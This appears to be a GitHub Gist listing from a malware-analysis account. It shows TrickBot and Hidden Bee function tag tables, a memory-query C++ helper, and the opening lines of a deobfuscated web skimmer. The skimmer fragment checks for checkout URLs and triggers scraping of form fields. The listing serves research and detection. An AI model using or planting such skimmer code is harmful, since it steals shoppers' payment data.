malwarezone
/ 360000.tmptetup.csv
Created
October 30, 2018 00:45
Tags for a TrickBot sample: c3737aaf6b613a7c7d5e0c6d3c0d60a2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 10b4 | ole32.CoInitializeEx | |
|---|---|---|
| 10d3 | ole32.CoInitializeSecurity | |
| 1260 | kernel32.VirtualFreeEx | |
| 1293 | kernel32.MultiByteToWideChar | |
| 12c7 | kernel32.MultiByteToWideChar | |
| 13e6 | msvcrt.memcpy | |
| 141a | OLEAUT32.SysAllocString | |
| 145b | msvcrt._controlfp | |
| 1537 | msvcrt._vsnwprintf | |
| 1609 | kernel32.GetModuleHandleW |
malwarezone
/ onlineclouds.cloud_conversion_async_unfuscated.js
Created
November 20, 2018 03:13
— forked from gwillem/onlineclouds.cloud_conversion_async_unfuscated.js
Malware from onlineclouds.cloud unfuscated
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| setTimeout(checkForCheckout, 100); | |
| var snd = null; | |
| function checkForCheckout() { | |
| if ((/onepage|firecheckout|Checkout|onestepcheckout|onepagecheckout|checkout|oscheckout|idecheckoutvm|fancycheckout/).test(window.location)) { | |
| scrapeAllFields(); | |
| } | |
| } | |
| function createQueryString() { |
malwarezone
/ snippet.cpp
Created
December 11, 2018 02:52
Get limit of the set of pages allocated at the same base
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| LPVOID get_area_limit(HANDLE processHandle, LPVOID first_addr) | |
| { | |
| MEMORY_BASIC_INFORMATION page_info = { 0 }; | |
| //go to the beginning of the area: | |
| SIZE_T out = VirtualQueryEx(processHandle, first_addr, &page_info, sizeof(page_info)); | |
| if (GetLastError() == ERROR_INVALID_PARAMETER) { | |
| return nullptr; | |
| } | |
| LPVOID alloc_base = page_info.AllocationBase; | |
| LPVOID next_area = page_info.BaseAddress; |
malwarezone
/ scrdec18-VC8.exe
Created
December 4, 2020 16:46
— forked from bcse/scrdec18-VC8.exe
Windows Script Decoder 1.8 (Decoding JScript.Encoded)
malwarezone
/ 9e55ba1c3405de5e2c33fd03ddd14ee2d7f443ed8fc33446ce03acb917e3304e.csv
Created
February 8, 2021 21:09
Hidden Bee loader (tags)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 3ee8 | sub_403EE8 | |
|---|---|---|
| 3ef7 | run_delete_cmd | |
| 3f83 | apply_reloc | |
| 3fea | load_ne_format | |
| 4223 | unpack | |
| 4369 | expand_key | |
| 43ef | tea_decode | |
| 4520 | memset | |
| 4526 | memcpy | |
| 452c | start |